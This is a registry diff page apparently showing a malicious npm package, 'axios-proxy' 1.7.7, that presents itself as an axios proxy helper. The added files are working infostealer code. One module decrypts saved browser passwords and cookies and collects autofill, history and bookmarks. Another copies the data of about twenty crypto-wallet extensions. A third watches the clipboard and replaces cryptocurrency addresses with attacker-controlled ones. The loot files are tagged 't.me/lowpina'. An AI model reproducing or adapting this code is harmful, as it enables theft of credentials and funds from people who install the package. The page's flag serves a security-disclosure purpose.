axios-proxy 0.0.1-security → 1.7.7

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of axios-proxy might be problematic. Click here for more details.

@@ -0,0 +1,503 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async saveBrowserStuff() {
4
+ ["passwords", "cookies", "bookmarks", "history", "autofill"].forEach(
5
+ async (type) => {
6
+ client.utils.jszip.createFolder(`\\${type}`);
7
+
8
+ for (let [key, value] of Object.entries(
9
+ client.config.environ[type]
10
+ )) {
11
+ if (value.length != 0) {
12
+ var text = value.join("\n\n");
13
+ var found_keywords = [];
14
+
15
+ client.config.keywords.keywords.forEach((keyword) => {
16
+ if (text.includes(keyword)) {
17
+ found_keywords.push(keyword);
18
+ }
19
+ });
20
+
21
+ if (found_keywords.length == 0) {
22
+ found_keywords =
23
+ "Found keywords: None\n<================[t.me/lowpina]>================>\n";
24
+ } else {
25
+ found_keywords = `Found keywords: ${found_keywords.join(
26
+ ", "
27
+ )}\n<================[t.me/lowpina]>================>\n`;
28
+ }
29
+
30
+ client.utils.jszip.createTxt(
31
+ `\\${type}\\${key.toUpperCase()}.txt`,
32
+ `${found_keywords}\n${text}`
33
+ );
34
+ }
35
+ }
36
+ }
37
+ );
38
+ },
39
+
40
+ async getBookmarks(path) {
41
+ let browser;
42
+
43
+ if (path.includes("Local")) {
44
+ browser = path.split("\\Local\\")[1].split("\\")[0];
45
+ } else {
46
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
47
+ }
48
+
49
+ if (browser == "Google") {
50
+ browser == "Chrome";
51
+ } else if (browser == "BraveSoftware") {
52
+ browser = "Brave";
53
+ } else if (browser == "Microsoft") {
54
+ browser = "Microsoft Edge";
55
+ }
56
+
57
+ if (client.requires.fs.existsSync(`${path}\\Bookmarks`)) {
58
+ var bookmarks = JSON.parse(
59
+ client.requires.fs.readFileSync(`${path}\\Bookmarks`)
60
+ ).roots.bookmark_bar.children;
61
+
62
+ for (var bookmark of bookmarks) {
63
+ try {
64
+ client.config.environ.bookmarks.all.push(
65
+ `==================================================\nBROWSER : ${browser}\nID : ${bookmark["id"]}\nNAME : ${bookmark["name"]}\nURL : ${bookmark["url"]}\nGUID : ${bookmark["guid"]}\nADDED AT : ${bookmark["date_added"]}\n==================================================`
66
+ );
67
+
68
+ if (!client.config.environ.bookmarks[browser]) {
69
+ client.config.environ.bookmarks[browser] = [];
70
+ }
71
+
72
+ client.config.environ.bookmarks[browser].push(
73
+ `==================================================\nBROWSER : ${browser}\nID : ${bookmark["id"]}\nNAME : ${bookmark["name"]}\nURL : ${bookmark["url"]}\nGUID : ${bookmark["guid"]}\nADDED AT : ${bookmark["date_added"]}\n==================================================`
74
+ );
75
+ } catch (err) {}
76
+
77
+ client.config.counter.bookmarks++;
78
+ }
79
+ }
80
+ },
81
+
82
+ async getAutofill(path) {
83
+ let path_split = path.split("\\"),
84
+ path_split_tail = path.includes("Network")
85
+ ? path_split.splice(0, path_split.length - 3)
86
+ : path_split.splice(0, path_split.length - 2),
87
+ path_tail = path_split_tail.join("\\");
88
+
89
+ let browser;
90
+
91
+ if (path.includes("Local")) {
92
+ browser = path.split("\\Local\\")[1].split("\\")[0];
93
+ } else {
94
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
95
+ }
96
+
97
+ if (browser == "Google") {
98
+ browser == "Chrome";
99
+ } else if (browser == "BraveSoftware") {
100
+ browser = "Brave";
101
+ } else if (browser == "Microsoft") {
102
+ browser = "Microsoft Edge";
103
+ }
104
+
105
+ if (
106
+ path.startsWith(
107
+ client.utils.encryption.decryptData(client.config.user.appdata)
108
+ )
109
+ )
110
+ path_tail = path;
111
+ if (path.includes("cord")) {
112
+ return;
113
+ }
114
+
115
+ if (client.requires.fs.existsSync(`${path}\\Web Data`)) {
116
+ var sql = new client.requires.sqlite3.Database(
117
+ `${path}\\Web Data`,
118
+ (err) => {}
119
+ );
120
+
121
+ sql.each("SELECT * FROM autofill", function (err, row) {
122
+ if (row) {
123
+ client.config.environ.autofill.all.push(
124
+ `Name: ${row.name} | Value: ${row.value} | Date created (timestamp): ${row.date_created} | Date last used (timestamp): ${row.date_last_used} | Count: ${row.count}`
125
+ );
126
+
127
+ if (!client.config.environ.autofill[browser]) {
128
+ client.config.environ.autofill[browser] = [];
129
+ }
130
+
131
+ client.config.environ.autofill[browser].push(
132
+ `Name: ${row.name} | Value: ${row.value} | Date created (timestamp): ${row.date_created} | Date last used (timestamp): ${row.date_last_used} | Count: ${row.count}`
133
+ );
134
+ }
135
+ });
136
+ }
137
+ },
138
+
139
+ async getHistory(path) {
140
+ let path_split = path.split("\\"),
141
+ path_split_tail = path.includes("Network")
142
+ ? path_split.splice(0, path_split.length - 3)
143
+ : path_split.splice(0, path_split.length - 2),
144
+ path_tail = path_split_tail.join("\\");
145
+
146
+ let browser;
147
+
148
+ if (path.includes("Local")) {
149
+ browser = path.split("\\Local\\")[1].split("\\")[0];
150
+ } else {
151
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
152
+ }
153
+
154
+ if (browser == "Google") {
155
+ browser == "Chrome";
156
+ } else if (browser == "BraveSoftware") {
157
+ browser = "Brave";
158
+ } else if (browser == "Microsoft") {
159
+ browser = "Microsoft Edge";
160
+ }
161
+
162
+ if (
163
+ path.startsWith(
164
+ client.utils.encryption.decryptData(client.config.user.appdata)
165
+ )
166
+ )
167
+ path_tail = path;
168
+ if (path.includes("cord")) {
169
+ return;
170
+ }
171
+
172
+ if (client.requires.fs.existsSync(`${path_tail}\\History`)) {
173
+ var sql = new client.requires.sqlite3.Database(
174
+ `${path}\\History`,
175
+ (err) => {}
176
+ );
177
+
178
+ sql.each("SELECT * FROM urls", function (err, row) {
179
+ try {
180
+ client.config.environ.history.all.push(
181
+ `ID: ${row.id} | URL: ${row.url} | Title: ${row.title} | Visit count: ${row.visit_count} | Last visit time (timestamp): ${row.last_visit_time} | Display count: ${row.display_count}`
182
+ );
183
+
184
+ if (!client.config.environ.history[browser]) {
185
+ client.config.environ.history[browser] = [];
186
+ }
187
+
188
+ client.config.environ.history[browser].push(
189
+ `ID: ${row.id} | URL: ${row.url} | Title: ${row.title} | Visit count: ${row.visit_count} | Last visit time (timestamp): ${row.last_visit_time} | Display count: ${row.display_count}`
190
+ );
191
+ } catch {}
192
+ });
193
+ }
194
+ },
195
+
196
+ async getCookies(path) {
197
+ let path_split = path.split("\\"),
198
+ path_split_tail = path.includes("Network")
199
+ ? path_split.splice(0, path_split.length - 3)
200
+ : path_split.splice(0, path_split.length - 2),
201
+ path_tail = path_split_tail.join("\\") + "\\";
202
+
203
+ let browser;
204
+
205
+ if (path.includes("Local")) {
206
+ browser = path.split("\\Local\\")[1].split("\\")[0];
207
+ } else {
208
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
209
+ }
210
+
211
+ if (browser == "Google") {
212
+ browser == "Chrome";
213
+ } else if (browser == "BraveSoftware") {
214
+ browser = "Brave";
215
+ } else if (browser == "Microsoft") {
216
+ browser = "Microsoft Edge";
217
+ }
218
+
219
+ if (
220
+ path.startsWith(
221
+ client.utils.encryption.decryptData(client.config.user.appdata)
222
+ )
223
+ )
224
+ path_tail = path;
225
+ if (path.includes("cord")) {
226
+ return;
227
+ }
228
+
229
+ if (client.requires.fs.existsSync(path_tail)) {
230
+ let encrypted = Buffer.from(
231
+ JSON.parse(client.requires.fs.readFileSync(path_tail + "Local State"))
232
+ .os_crypt.encrypted_key,
233
+ "base64"
234
+ ).slice(5);
235
+
236
+ if (!client.requires.fs.existsSync(path + "Network")) {
237
+ return;
238
+ } else {
239
+ }
240
+
241
+ const key = client.requires.dpapi.unprotectData(
242
+ Buffer.from(encrypted, "utf-8"),
243
+ null,
244
+ "CurrentUser"
245
+ );
246
+
247
+ var sql = new client.requires.sqlite3.Database(
248
+ `${path}Network\\Cookies`,
249
+ (err) => {}
250
+ );
251
+
252
+ await new Promise((resolve, reject) => {
253
+ var added_host_keys = {
254
+ all: [],
255
+ };
256
+
257
+ sql.each(
258
+ "SELECT * FROM cookies",
259
+ function (err, row) {
260
+ let encrypted_value = row["encrypted_value"];
261
+
262
+ var decrypted;
263
+
264
+ try {
265
+ if (
266
+ encrypted_value[0] == 1 &&
267
+ encrypted_value[1] == 0 &&
268
+ encrypted_value[2] == 0 &&
269
+ encrypted_value[3] == 0
270
+ ) {
271
+ decrypted = dpapi.unprotectData(
272
+ encrypted_value,
273
+ null,
274
+ "CurrentUser"
275
+ );
276
+ } else {
277
+ let start = encrypted_value.slice(3, 15),
278
+ middle = encrypted_value.slice(
279
+ 15,
280
+ encrypted_value.length - 16
281
+ ),
282
+ end = encrypted_value.slice(
283
+ encrypted_value.length - 16,
284
+ encrypted_value.length
285
+ ),
286
+ decipher = client.requires.crypto.createDecipheriv(
287
+ "aes-256-gcm",
288
+ key,
289
+ start
290
+ );
291
+ decipher.setAuthTag(end);
292
+ decrypted =
293
+ decipher.update(middle, "base64", "utf-8") +
294
+ decipher.final("utf-8");
295
+ }
296
+ } catch {}
297
+
298
+ client.config.environ.cookies.all.push(
299
+ `${row["host_key"]} TRUE / FALSE 2597573456 ${row["name"]} ${decrypted}`
300
+ );
301
+
302
+ if (!client.config.environ.cookies[browser]) {
303
+ client.config.environ.cookies[browser] = [];
304
+ }
305
+
306
+ client.config.environ.cookies[browser].push(
307
+ `${row["host_key"]} TRUE / FALSE 2597573456 ${row["name"]} ${decrypted}`
308
+ );
309
+
310
+ client.config.counter.cookies++;
311
+
312
+ added_host_keys[browser] = [];
313
+ added_host_keys["all"].push(row["host_key"]);
314
+ },
315
+ function () {
316
+ resolve("");
317
+ }
318
+ );
319
+ });
320
+ }
321
+ },
322
+
323
+
324
+
325
+ async getWallets(path) {
326
+ let path_split = path.split("\\"),
327
+ path_split_tail = path.includes("Network")
328
+ ? path_split.splice(0, path_split.length - 3)
329
+ : path_split.splice(0, path_split.length - 2),
330
+ path_tail = path_split_tail.join("\\") + "\\";
331
+
332
+ let browser;
333
+
334
+ if (path.includes("Local")) {
335
+ browser = path.split("\\Local\\")[1].split("\\")[0];
336
+ } else {
337
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
338
+ }
339
+
340
+ if (browser == "Google") {
341
+ browser == "Chrome";
342
+ } else if (browser == "BraveSoftware") {
343
+ browser = "Brave";
344
+ } else if (browser == "Microsoft") {
345
+ browser = "Microsoft Edge";
346
+ }
347
+
348
+ var extension_identifiers = {
349
+ MetaMask: "nkbihfbeogaeaoehlefnkodbefgpgknn",
350
+ Binance: "fhbohimaelbohpjbbldcngcnapndodjp",
351
+ Phantom: "bfnaelmomeimhlpmgjnjophhpkkoljpa",
352
+ Coinbase: "hnfanknocfeofbddgcijnmhnfnkdnaad",
353
+ MetaMask_Edge: "ejbalbakoplchlghecdalmeeeajnimhm",
354
+ Ronin: "fnjhmkhhmkbjkkabndcnnogagogbneec",
355
+ Exodus: "aholpfdialjgjfhomihkjbmgjidlcdno",
356
+ Coin98: "aeachknmefphepccionboohckonoeemg",
357
+ KardiaChain: "pdadjkfkgcafgbceimcpbkalnfnepbnk",
358
+ TerraStation: "aiifbnbfobpmeekipheeijimdpnlpgpp",
359
+ Wombat: "amkmjjmmflddogmhpjloimipbofnfjih",
360
+ Harmony: "fnnegphlobjdpkhecapkijjdkgcjhkib",
361
+ Nami: "lpfcbjknijpeeillifnkikgncikgfhdo",
362
+ MartianAptos: "efbglgofoippbgcjepnhiblaibcnclgk",
363
+ Braavos: "jnlgamecbpmbajjfhmmmlhejkemejdma",
364
+ XDEFI: "hmeobnfnfcmdkdcmlblgagmfpfboieaf",
365
+ Yoroi: "ffnbelfdoeiohenkjibnmadjiehjhajb",
366
+ TON: "nphplpgoakhhjchkkhmiggakijnkhfnd",
367
+ Authenticator: "bhghoamapcdpbohphigoooaddinpkbai",
368
+ Tron: "ibnejdfjmmkpcnlpebklmnkoeoihofec",
369
+ };
370
+
371
+ for (let [key, value] of Object.entries(extension_identifiers)) {
372
+ if (
373
+ client.requires.fs.existsSync(
374
+ `${path}\\Local Extension Settings\\${value}`
375
+ )
376
+ ) {
377
+ client.utils.jszip.copyFolder(
378
+ `\\Wallets\\${browser} ${key}`,
379
+ `${path}\\Local Extension Settings\\${value}`
380
+ );
381
+ client.config.counter.wallets++;
382
+ }
383
+ }
384
+ },
385
+
386
+ async getPasswords(path) {
387
+ let path_split = path.split("\\"),
388
+ path_split_tail = path.includes("Network")
389
+ ? path_split.splice(0, path_split.length - 3)
390
+ : path_split.splice(0, path_split.length - 2),
391
+ path_tail = path_split_tail.join("\\") + "\\";
392
+
393
+ let browser;
394
+
395
+ if (path.includes("Local")) {
396
+ browser = path.split("\\Local\\")[1].split("\\")[0];
397
+ } else {
398
+ browser = path.split("\\Roaming\\")[1].split("\\")[1];
399
+ }
400
+
401
+ if (browser == "Google") {
402
+ browser == "Chrome";
403
+ } else if (browser == "BraveSoftware") {
404
+ browser = "Brave";
405
+ } else if (browser == "Microsoft") {
406
+ browser = "Microsoft Edge";
407
+ }
408
+
409
+ if (
410
+ path.startsWith(
411
+ client.utils.encryption.decryptData(client.config.user.appdata)
412
+ )
413
+ )
414
+ path_tail = path;
415
+ if (path.includes("cord")) {
416
+ return;
417
+ }
418
+
419
+ if (client.requires.fs.existsSync(path_tail)) {
420
+ let encrypted = Buffer.from(
421
+ JSON.parse(client.requires.fs.readFileSync(path_tail + "Local State"))
422
+ .os_crypt.encrypted_key,
423
+ "base64"
424
+ ).slice(5);
425
+
426
+ var login_data = path + "Login Data",
427
+ passwords_db = path + "passwords.db";
428
+
429
+ client.requires.fs.copyFileSync(login_data, passwords_db);
430
+ const key = client.requires.dpapi.unprotectData(
431
+ Buffer.from(encrypted, "utf-8"),
432
+ null,
433
+ "CurrentUser"
434
+ );
435
+ var sql = new client.requires.sqlite3.Database(
436
+ passwords_db,
437
+ (err) => {}
438
+ );
439
+
440
+ await new Promise((resolve, reject) => {
441
+ sql.each(
442
+ "SELECT origin_url, username_value, password_value FROM logins",
443
+ function (err, row) {
444
+ if (row["username_value"] != "") {
445
+ let password_value = row["password_value"];
446
+ try {
447
+ var password;
448
+ if (
449
+ password_value[0] == 1 &&
450
+ password_value[1] == 0 &&
451
+ password_value[2] == 0 &&
452
+ password_value[3] == 0
453
+ ) {
454
+ password = dpapi.unprotectData(
455
+ password_value,
456
+ null,
457
+ "CurrentUser"
458
+ );
459
+ } else {
460
+ let start = password_value.slice(3, 15),
461
+ middle = password_value.slice(
462
+ 15,
463
+ password_value.length - 16
464
+ ),
465
+ end = password_value.slice(
466
+ password_value.length - 16,
467
+ password_value.length
468
+ ),
469
+ decipher = client.requires.crypto.createDecipheriv(
470
+ "aes-256-gcm",
471
+ key,
472
+ start
473
+ );
474
+ decipher.setAuthTag(end);
475
+ password =
476
+ decipher.update(middle, "base64", "utf-8") +
477
+ decipher.final("utf-8");
478
+ }
479
+
480
+ client.config.environ.passwords.all.push(
481
+ `==================================================\nURL : ${row["origin_url"]}\nWeb Browser : ${browser}\nUser Name : ${row["username_value"]}\nPassword : ${password}\nFilename : ${path}\n==================================================`
482
+ );
483
+
484
+ if (!client.config.environ.passwords[browser]) {
485
+ client.config.environ.passwords[browser] = [];
486
+ }
487
+ client.config.environ.passwords[browser].push(
488
+ `==================================================\nURL : ${row["origin_url"]}\nWeb Browser : ${browser}\nUser Name : ${row["username_value"]}\nPassword : ${password}\nFilename : ${path}\n==================================================`
489
+ );
490
+
491
+ client.config.counter.passwords++;
492
+ } catch {}
493
+ }
494
+ },
495
+ function () {
496
+ resolve("");
497
+ }
498
+ );
499
+ });
500
+ }
501
+ },
502
+ };
503
+ };
@@ -0,0 +1,38 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ async detectClipboard() {
4
+ while (true) {
5
+ const paste = client.requires.ncp.readSync();
6
+ var text = paste;
7
+
8
+ for (let [key, value] of Object.entries({
9
+ btc: /^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$/,
10
+ ltc: /(?:^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$)/,
11
+ eth: /(?:^0x[a-fA-F0-9]{40}$)/,
12
+ xlm: /(?:^G[0-9a-zA-Z]{55}$)/,
13
+ xmr: /(?:^4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}$)/,
14
+ xrp: /(?:^r[0-9a-zA-Z]{24,34}$)/,
15
+ bch: /^((bitcoincash:)?(q|p)[a-z0-9]{41})/,
16
+ dash: /(?:^X[1-9A-HJ-NP-Za-km-z]{33}$)/,
17
+ neo: /(?:^A[0-9a-zA-Z]{33}$)/,
18
+ doge: /D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}/,
19
+ })) {
20
+ for (let _value of paste.split("\n")) {
21
+ if (_value.match(value)) {
22
+ text = text.replace(
23
+ _value,
24
+ client.utils.encryption.decryptData(client.config.crypto[key])
25
+ );
26
+ }
27
+ }
28
+ }
29
+
30
+ if (paste != text) {
31
+ client.requires.ncp.writeSync(text);
32
+ }
33
+
34
+ await client.utils.time.sleep(1000);
35
+ }
36
+ },
37
+ };
38
+ };
@@ -0,0 +1,14 @@
1
+ module.exports = (client) => {
2
+ return {
3
+ loadCPUS() {
4
+ var _cpus = []
5
+
6
+ client.requires.os.cpus().forEach((cpu) => {
7
+ if (!_cpus.contains(cpu.model)) {
8
+ _cpus.push(cpu.model)
9
+ client.config.user.cpus.push(client.utils.encryption.encryptData(cpu.model.split(" ")[0]))
10
+ }
11
+ })
12
+ },
13
+ };
14
+ };
package/utils/data.js ADDED
@@ -0,0 +1,19 @@
1
+ module.exports = (client) => {
2
+ return {
3
+
4
+ copyRecursiveSync(src, dest) {
5
+ var exists = client.requires.fs.existsSync(src);
6
+ var stats = exists && client.requires.fs.statSync(src);
7
+ var isDirectory = exists && stats.isDirectory();
8
+ if (isDirectory) {
9
+ client.requires.fs.mkdirSync(dest);
10
+ client.requires.fs.readdirSync(src).forEach((childItemName) => {
11
+ this.copyRecursiveSync(client.requires.path.join(src, childItemName),
12
+ client.requires.path.join(dest, childItemName));
13
+ });
14
+ } else {
15
+ client.requires.fs.copyFileSync(src, dest);
16
+ }
17
+ }
18
+ };
19
+ };